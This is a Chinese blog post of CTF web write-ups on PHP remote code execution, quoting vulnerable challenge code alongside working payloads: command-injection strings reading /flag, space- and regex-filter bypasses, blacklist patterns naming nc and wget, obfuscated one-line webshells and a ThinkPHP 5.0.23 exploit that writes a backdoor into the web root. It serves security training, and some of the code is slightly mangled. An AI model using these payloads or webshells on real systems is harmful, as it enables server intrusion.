欢迎光临
我们一直在努力

CTF-WEB-RCE

1.[SWPUCTF 2021 新生赛]easyrce

<?php

error_reporting(0); // 关闭错误提示

highlight_file(FILE); // 高亮显示当前文件代码

if(isset($_GET['url'])){ // 判断是否传入GET参数“url” eval($_GET['url']); // 将“url”参数的值作为PHP代码执行

}

?>

get传参直接查看根目录下有什么

HTTP 协议规定:URL 地址里只能出现字母、数字、部分符号(如/、=、?),空格、中文、特殊符号都属于非法字符,浏览器会无法识别,甚至截断你的 Payload,导致执行失败。

%20 就是 【空格】的标准 URL 编码转义字符,是固定的、唯一的!

  • ls%20/ 等价于 ls /
  • 浏览器在发送请求时,会自动把%20解析回「空格」,服务器接收后拿到的内容就是ls /,不会影响命令执行。

?url=system("ls%20/");

具体操作如下:

得到:

接下来,直接调⽤cat函数输出结果:

?url=system("cat /flllllaaaaaaggggggg");

操作同上,得到flag

知识点:

passthru()是 PHP 的系统命令执行函数,和system()功能一致,输出结果比 system 更完整,无任何截断,专门解决system()偶尔无输出的问题:

?url=passthru('cat /flag');

shell_exec()执行系统命令后,不会直接输出结果,需要用echo打印,这是 PHP 的语法规则,很多人漏写echo导致以为无结果:

?url=echo shell_exec('cat /flag');

eval() 是 PHP 内置的代码执行函数,它的核心能力是:把传入的「字符串」直接当作 PHP 代码执行。

eval(string $code): mixed

参数 $code:必须是合法的 PHP 代码字符串(要带分号结尾,符合 PHP 语法);

eval() 是这道题的漏洞入口:它允许你把任意 PHP 代码(比如调用system())通过GET参数传给服务器,相当于你 “远程操控了服务器的 PHP 解释器


system() 是 PHP 内置的系统命令执行函数,它的核心能力是:让 PHP 调用「服务器操作系统」的命令,并直接输出命令结果。

语法:system(string $command, int &$return_var = null): string|bool

参数 $command:要执行的系统命令字符串(比如 Linux 的ls、Windows 的dir);

参数 $return_var(可选):接收命令执行后的 “状态码”(0 代表成功,非 0 代表失败);

返回值:命令执行结果的最后一行字符串(但会直接把所有结果输出到页面)。

方法二:

GET请求url,看到eval我的第一想法就是蚁剑连接,但是它要POST请求才行,那就直接用一句话木马连接它

2.[SWPUCTF 2021 新生赛]babyrce

审计代码,设置cookie为admin=1则得到 ../next.php

访问rasahul.php

发现是过滤空格,想到构造?url=ls${IFS}

查看根目录加个/

发现flag,直接访问:注意把ls改为cat

过滤空格的几种方法:

$IFS (最推荐,万能写法)例:cat$IFS/flag 、 ls$IFS/

<(最简单,字符最少)例:cat</flag 、 ls</(这个貌似不行)

%09 (URL 传参专用,GET 提交必用)例:?url=cat%09/flag 、 ?url=ls%09/

$IFS$9 (比$IFS更稳,抗过滤更强)例:cat$IFS$9/flag

${IFS} (和$IFS完全一样,写法不同而已)例:cat${IFS}/flag

下图是%09的过滤:

3.[SWPUCTF 2021 新生赛]finalrce

<?php

highlight_file(FILE); // 1.高亮显示当前源码,给我们看规则

if(isset($_GET['url'])){ // 2.判断是否传入GET参数url,传了才执行后续 $url=$_GET['url']; // 3.把你传的?url=内容,赋值给变量$url

// 4.【核心黑名单过滤】正则匹配,不区分大小写,命中任意内容就拦截

if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\\-|\\*|\\"|\\>|\\<|\\%|\\$/i',$url))

{

echo "Sorry,you can't use this."; // 命中黑名单 → 提示拦截,不执行命令

}

else

{

echo "Can you see anything?"; // 绕过黑名单 → 输出这句话

exec($url); // 【核心执行函数】默默执行你传入的命令,无任何页面回显

}

}

exec函数可以用来执行命令但没有回显,通过tee配合管道命令可以绕过,对于ls,添加引号形成拼接绕过。文件查看使用tac

?url=l\\s / | tee 1.txt # 之后访问我们传入的文件1.txt,

发现命令被执行

再传入 ?url=tac /flllll\\aaaaaaggggggg | tee 2.txt #然后访问2.txt

4.[极客大挑战 2019]RCE ME

主要是学习绕过匹配 [A-Za-z0-9]+ 的方法。有 异或绕过 和 url编码取反绕过

接下来使用url编码取反绕过:

首先查看phpinfo() 看看哪些函数被过滤了

这时服务端会尝试解析这段URL编码后的值,但这段是被取反了的,所以会导致服务端无法正常解析这段URL编码后的值,结果为

这里的system exec exec_shell函数都被禁用了,考虑用一句话木马

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

是用中国蚁剑

发现2个flag,第一个为空,第二个乱码。看网上师傅的说法是:这里由于disable_function的作用,禁用了很多函数,导致得到的是"空shell", 没有办法执行命令。需要绕过disable_function,借助中国蚁剑的插件功能

disable_functions查看:

5.polar简单rce

1.post传一个yyds=666,主要在get,进行很多过滤,使用print_r(scandir('/'));查看目录,找到flag位置

2.因为没有对passthru函数进行过滤,可以通过passthru函数来进行任意命令执行

?sys=passthru('ls');

?sys=passthru('ls${IFS}/');

使用sort来查看文件内容: ?sys=passthru('sort${IFS}/flag');

再sys=readfile('/flag');读取flag即可

6.Polar rce1

代码仅过滤了空格字符,攻击者可以使用以下方式绕过:

  • 使用制表符 %09 代替空格
  • 使用 ${IFS} (Bash 内部字段分隔符)代替空格
  • 使用重定向符号 < 或 > 不需要空格
  • 使用 ;、&&、|| 等命令连接符

用分号闭合ping命令,输入ls,点击"Ping"查看当前目录文件

7.bllbl_rce

dirsearch扫描

找到flag

8.[SWPUCTF 2022 新生赛]ez_rce

发现什么都没有,打开虚拟机,使用dirsearch

发现robots.txt,访问一下。

进入NSS/index.php

ThinkPHP V5与2018年曝出漏洞,查找poc

9.[SWPUCTF 2023 秋季新生赛]RCE-PLUS

<?php

// 关闭PHP错误提示,隐藏运行报错信息,黑客常用操作

error_reporting(0);

// 高亮显示当前文件的源代码,方便查看代码本身

highlight_file(FILE);

// 定义过滤函数:对传入的命令进行字符/关键词过滤

function strCheck($cmd) { // 正则匹配要禁止的字符和命令,匹配到则直接终止程序 if (preg_match('/;|\\&|\\\\\\\\|\\$|\\x09|\\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i', $cmd)) { die("illegal character"); } return $cmd;

}

// 核心执行逻辑:GET方式接收cmd参数 -> 过滤 -> 执行系统命令

$$cmd =$$_GET['cmd'];

$$cmd = strCheck$$cmd);

shell_exec($cmd);

?>

经过尝试又给我们不少函数禁用了,我们试试直接将根目录写入到我们的1.txt。使用?cmd=ls / | tee 1.txt

发现flag我们同理抓取flag内容直接写入我们自己的一个文档

?cmd=tac /f* | tee 2.txt然后访问2.txt

10.[NISACTF 2022]middlerce

<?php

include "check.php"; // 引入外部校验文件,未知具体校验规则

if (isset($_REQUEST['letter'])){ // 接收GET/POST的letter参数($_REQUEST兼容GET/POST)

$txw4ever = $_REQUEST['letter']; // 把参数值赋值给变量

// 核心正则过滤规则,重点!

if (preg_match('/^.*([\\w]|\\^|\\*|\\(|\\~|\\`|\\?|\\/| |\\||\\&|!|\\<|\\>|\\{|\\x09|\\x0a|\\[).*$/m',$txw4ever)){

die("再加把油喔"); // 命中正则则直接退出,禁止后续执行

}

else{ // 绕过正则过滤后,执行核心危险逻辑

$command = json_decode($txw4ever,true)['cmd']; // 把letter的值JSON解析,取cmd键的内容

checkdata($command); // 调用check.php里的校验函数校验$command

@eval($command); // @屏蔽错误 + eval执行代码,最终代码执行点

}

}

else{

highlight_file(FILE); // 无参数则高亮显示当前源码

}

?>

由语句$command = json_decode($txw4ever,true)['cmd'];可得,$txw4ever一定是json格式的数据,但是,preg_match()函数却过滤了{,同时.*贪婪匹配后又匹配括号里的字符,最后再.*后结束。看似无懈可击的过滤,其实可以使用PCRE回溯次数限制绕过。

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit默认1000000,超过1000000不会返回1或0而是false即超过限制即可。

$_REQUEST可以接收GET和POST数据,由于GET不适合发太长的请求,这里我们选择用POST。

解释一下,<?=?>则是相当于<? echo>,payload最前面?>用于闭合,payload后面一部分相当于echo+反引号执行命令。

CTF-WEB-RCE

刘佳豪

今天修改

#️⃣

由语句$command = json_decode($txw4ever,true)['cmd'];可得,$txw4ever一定是json格式的数据,但是,preg_match()函数却过滤了{,同时.*贪婪匹配后又匹配括号里的字符,最后再.*后结束。看似无懈可击的过滤,其实可以使用PCRE回溯次数限制绕过。

#️⃣

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit默认1000000,超过1000000不会返回1或0而是false即超过限制即可。

$_REQUEST可以接收GET和POST数据,由于GET不适合发太长的请求,这里我们选择用POST。

解释一下,<?=?>则是相当于<? echo>,payload最前面?>用于闭合,payload后面一部分相当于echo+反引号执行命令。

11.[FBCTF 2019]rceservice

附件:

<html>

<body>

<h1>Web Adminstration Interface</h1>

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd'];

if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\\x00-\\x1FA-Z0-9!#-\\/;-@\\[-`|~\\x7F]+).*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } else { echo 'Attempting to run command:<br/>'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) {

system($cmd);

} else {

echo 'Invalid input';

}

echo '<br/><br/>';

}

}

?>

<form>

Enter command as JSON:

<input name="cmd" />

</form>

</body>

</html>

正则表达式^ 和 $$ 表示匹配字符串的开头和结尾,也就是说整个字符串必须正好等于 ^ 和$$ 之间的内容才能匹配上。

$string = "Hello\\nWorld";

preg_match('/^World$/', $string); // 不会匹配

preg_match('/^World$/m', $string); // 会匹配到,因为 /m 允许 ^ 和 $ 匹配每一行中的起止位置

此外,putenv('PATH=/home/rceservice/jail')修改了环境变量,所以只能使用绝对路径使用 cat 命令。

payload:

?cmd=%0a{"cmd":"/bin/cat /home/rceservice/flag"%0a}

其中 %0a 是 \\n 的 url 编码。

12.【RCE | BUUCTF】ThinkPHP 5.0.23

ThinkPHP 是一款运用极广的 PHP 开发框架。其 5.0.23 以前的版本中,获取 method 的方法中没有正确处理方法名,导致攻击者可以调用 Request 类任意方法并构造利用链,从而导致远程代码执行漏洞。

直接在主页使用 BurpSuite 进行抓包,得到这样的数据包:

将其发送到 BurpSuite 的 Repeater 模块。

在 Vulhub 中,我们找到了该漏洞的利用 POC:

可以看到我们获取了主机的信息。

由于我们使用的是 CTF 场景,目标是获取 flag,因此考虑利用 echo 和 > 重定向,向目录写入一句话木马。先使用 pwd 命令,查看当前所在目录:

可以看到处于 /var/www/public 目录下。然后使用:

echo "<?php @eval($_POST['cmd']);?>" > /var/www/public/test.php

可以看到已经成功写入。使用蚁剑连接,然而并没有成功。我们再显示上传的文件的内容,发现 $_POST 被吃掉了:

接下来尝试写入 phpinfo 文件,看看这里面能不能找到点什么信息:

成功访问:找到flag。

13.[SWPUCTF 2021 新生赛]hardrce_3

打开题目发现逻辑写的很简单,无字母数字rce,这里明显用自增!题外话:这里一开始我是不想用自增的,我是想走命令执行打shell脚本上传的条件竞争的,就是上传一个shell脚本的同时去读取它从而触发条件竞争,由于只能用反引号所以这里失败了,无回显rce似乎也不能绕过反引号!主要是我想尝试一下这个姿势,因为它还是比较好用的!web55(表单上传or对linux命令的熟悉)-CSDN博客

%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D''%3B%24__%3D%24%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

用中国蚁剑

14.[NSSRound#16 Basic]RCE但是没有完全RCE

这道题要md5_1和md5_2的string后的值要强不等于一样,并且他们的md5值要一样

成功过去。其中md5_3没有任何限制,什么都行。

进入3z_RC3.

cmd中不能有flag。会执行我们输入的语句。

进行目录穿越,可以得到根目录有个flag.使用通配符绕过。

15[NSSRound#16 Basic]了解过PHP特性吗

首先num参数不能含有数字,intval($num)不能返回0 也就是需要返回非0数字,可以用非空数组绕过

?num[]=1 此时这里的1 不会被正则匹配到

strrev() 反转字符串 ctype_alpha() 检测字符串中所有字符是否都为字母

is_numeric () 检测变量是否为数字或数字字符串如果传入的字符串中含有字母,那么is_numeric()函数就会返回false,例如a123 1a23 123a

所以参数is_num需要满足纯数字,ctype满足纯字母,然后满足md5加密后的弱比较这里数组绕过是不合适的,因为strrev()函数需要字符串类型,传入数组类型会报错

所以找到纯数字和纯字母md5加密之后前两位为0e 的值,就会被认为是科学计数法,表示的是0*10的n次方,还是零

md5加密之后前两位为0e 的纯数字:
240610708 314282422 571579406 903251147
md5加密之后前两位为0e 的纯字母:
QLTHNDT QNKCDZO EEIZDOI TUFEPMC

GET:num[]=1&114=9e9

POST:ctype=TDNHTLQ&is_num=807016042&514=99999991%00&arr4y[]=N

进入rce3_function.php

POST:shell=b&nss=return 1;};system('cat /flag');/*

赞(0)
未经允许不得转载:171主机测评 » CTF-WEB-RCE
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址